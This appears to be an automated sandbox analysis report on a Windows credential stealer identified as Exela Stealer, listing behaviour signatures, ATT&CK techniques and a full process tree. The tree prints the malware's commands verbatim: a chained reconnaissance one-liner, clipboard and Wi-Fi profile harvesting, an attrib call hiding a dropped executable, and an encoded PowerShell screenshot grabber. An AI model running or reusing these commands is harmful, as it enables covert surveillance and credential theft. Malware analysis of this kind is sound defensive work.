Overview

overview

10

Static

static

3

2026-10-01...ar.exe

windows10-2004-x64

10

2026-10-01...ar.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/10/2026, 20:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-10-01_fb815460d6a6ae37765e8ee5cab07cbc_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
  • Size 11.5MB
  • Sample261001-zawkysbc54
  • SHA256 fc25121417d3491273bb3ad8e518066c2ad5e9df74fdd1769749c8439adce9bc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
collectioncredential_accessdefense_evasiondiscoveryexecutionexelastealerpersistenceprivilege_escalationspywarestealerupx

Malware Config

Signatures

  • Family: Exela Stealer

    Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.

    stealerexelastealer
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Loads dropped DLL 33 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Network Service Discovery 1 TTPs 2 IoCs

    Attempt to gather information on host's network.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Discovers running processes 1 TTPs 5 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 17 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 18 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • System Network Connections Discovery 1 TTPs 1 IoCs

    Attempt to get a listing of network connections.

    discovery
  • Collects information from the system 1 TTPs 1 IoCs

    Uses WMIC.exe to find detailed system information.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-01_fb815460d6a6ae37765e8ee5cab07cbc_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-01_fb815460d6a6ae37765e8ee5cab07cbc_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3260
    • C:\Users\Admin\AppData\Local\Temp\2026-10-01_fb815460d6a6ae37765e8ee5cab07cbc_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-10-01_fb815460d6a6ae37765e8ee5cab07cbc_blankgrabber_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
      2⤵
      • Loads dropped DLL
      • Enumerates connected drives
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:4156
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "ver"
        3⤵
        • Executes a command shell one-liner
        PID:2268
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:912
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic path win32_VideoController get name
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          • Detects videocard installed
          • Suspicious use of AdjustPrivilegeToken
          PID:3532
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1272
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic computersystem get Manufacturer
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of AdjustPrivilegeToken
          PID:4056
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "gdb --version"
        3⤵
        • Executes a command shell one-liner
        PID:4404
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3380
        • C:\Windows\system32\tasklist.exe
          tasklist
          4⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:1616
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4820
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic path Win32_ComputerSystem get Manufacturer
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          PID:1448
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4736
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          PID:4816
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1056
        • C:\Windows\system32\tasklist.exe
          tasklist
          4⤵
          • Discovers running processes
          PID:4732
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ UpdateService\ .exe""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:4004
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Local\ UpdateService\ .exe"
          4⤵
          • Views/modifies file attributes
          PID:2752
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3644
        • C:\Windows\system32\tasklist.exe
          tasklist
          4⤵
          • Discovers running processes
          PID:4208
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4776
        • C:\Windows\system32\cmd.exe
          cmd.exe /c chcp
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1356
          • C:\Windows\system32\chcp.com
            chcp
            5⤵
              PID:512
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:448
          • C:\Windows\system32\cmd.exe
            cmd.exe /c chcp
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4516
            • C:\Windows\system32\chcp.com
              chcp
              5⤵
                PID:1008
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:656
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Discovers running processes
              PID:2660
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
            3⤵
            • Clipboard Data
            • Suspicious use of WriteProcessMemory
            PID:2232
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe Get-Clipboard
              4⤵
              • Clipboard Data
              • Enumerates connected drives
              • Suspicious behavior: EnumeratesProcesses
              PID:4664
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
            3⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:4852
            • C:\Windows\system32\netsh.exe
              netsh wlan show profiles
              4⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:2192
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
            3⤵
            • Network Service Discovery
            • Suspicious use of WriteProcessMemory
            PID:1460
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:2064
            • C:\Windows\system32\HOSTNAME.EXE
              hostname
              4⤵
                PID:116
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic logicaldisk get caption,description,providername
                4⤵
                • Reads the TCP/IP host and domain name from the registry
                • Collects information from the system
                PID:2848
              • C:\Windows\system32\net.exe
                net user
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4416
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  5⤵
                    PID:5040
                • C:\Windows\system32\query.exe
                  query user
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4400
                  • C:\Windows\system32\quser.exe
                    "C:\Windows\system32\quser.exe"
                    5⤵
                      PID:1496
                  • C:\Windows\system32\net.exe
                    net localgroup
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2272
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 localgroup
                      5⤵
                        PID:3624
                    • C:\Windows\system32\net.exe
                      net localgroup administrators
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2068
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 localgroup administrators
                        5⤵
                          PID:4276
                      • C:\Windows\system32\net.exe
                        net user guest
                        4⤵
                        • Suspicious use of WriteProcessMemory
                        PID:988
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user guest
                          5⤵
                            PID:1500
                        • C:\Windows\system32\net.exe
                          net user administrator
                          4⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3980
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 user administrator
                            5⤵
                              PID:1944
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic startup get caption,command
                            4⤵
                            • Reads the TCP/IP host and domain name from the registry
                            PID:4584
                          • C:\Windows\system32\tasklist.exe
                            tasklist /svc
                            4⤵
                            • Discovers running processes
                            PID:1236
                          • C:\Windows\system32\ipconfig.exe
                            ipconfig /all
                            4⤵
                            • Gathers network information
                            PID:1956
                          • C:\Windows\system32\ROUTE.EXE
                            route print
                            4⤵
                              PID:2184
                            • C:\Windows\system32\ARP.EXE
                              arp -a
                              4⤵
                              • Network Service Discovery
                              PID:2092
                            • C:\Windows\system32\NETSTAT.EXE
                              netstat -ano
                              4⤵
                              • System Network Connections Discovery
                              • Gathers network information
                              PID:4036
                            • C:\Windows\system32\sc.exe
                              sc query type= service state= all
                              4⤵
                              • Launches sc.exe
                              PID:4440
                            • C:\Windows\system32\netsh.exe
                              netsh firewall show state
                              4⤵
                              • Modifies Windows Firewall
                              • Event Triggered Execution: Netsh Helper DLL
                              PID:512
                            • C:\Windows\system32\netsh.exe
                              netsh firewall show config
                              4⤵
                              • Modifies Windows Firewall
                              • Event Triggered Execution: Netsh Helper DLL
                              PID:4228
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                            3⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4996
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic csproduct get uuid
                              4⤵
                              • Reads the TCP/IP host and domain name from the registry
                              PID:3948
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2788
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                              4⤵
                              • Enumerates connected drives
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of WriteProcessMemory
                              PID:1856
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4mitlslp\4mitlslp.cmdline"
                                5⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3860
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE2D9.tmp" "c:\Users\Admin\AppData\Local\Temp\4mitlslp\CSC2849AFD3324A4D898CABF47F23D0206.TMP"
                                  6⤵
                                    PID:2356
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                              3⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:4152
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic csproduct get uuid
                                4⤵
                                • Reads the TCP/IP host and domain name from the registry
                                PID:532

                        Network

                              MITRE ATT&CK Enterprise v16

                              Reconnaissance

                              Resource Development

                              Initial Access

                              Execution

                              Command and Scripting Interpreter

                              2
                              T1059

                              Windows Command Shell

                              1
                              T1059.003

                              Persistence

                              Account Manipulation

                              1
                              T1098

                              Create or Modify System Process

                              1
                              T1543

                              Windows Service

                              1
                              T1543.003

                              Event Triggered Execution

                              1
                              T1546

                              Netsh Helper DLL

                              1
                              T1546.007

                              Privilege Escalation

                              Account Manipulation

                              1
                              T1098

                              Create or Modify System Process

                              1
                              T1543

                              Windows Service

                              1
                              T1543.003

                              Event Triggered Execution

                              1
                              T1546

                              Netsh Helper DLL

                              1
                              T1546.007

                              Defense Evasion

                              Hide Artifacts
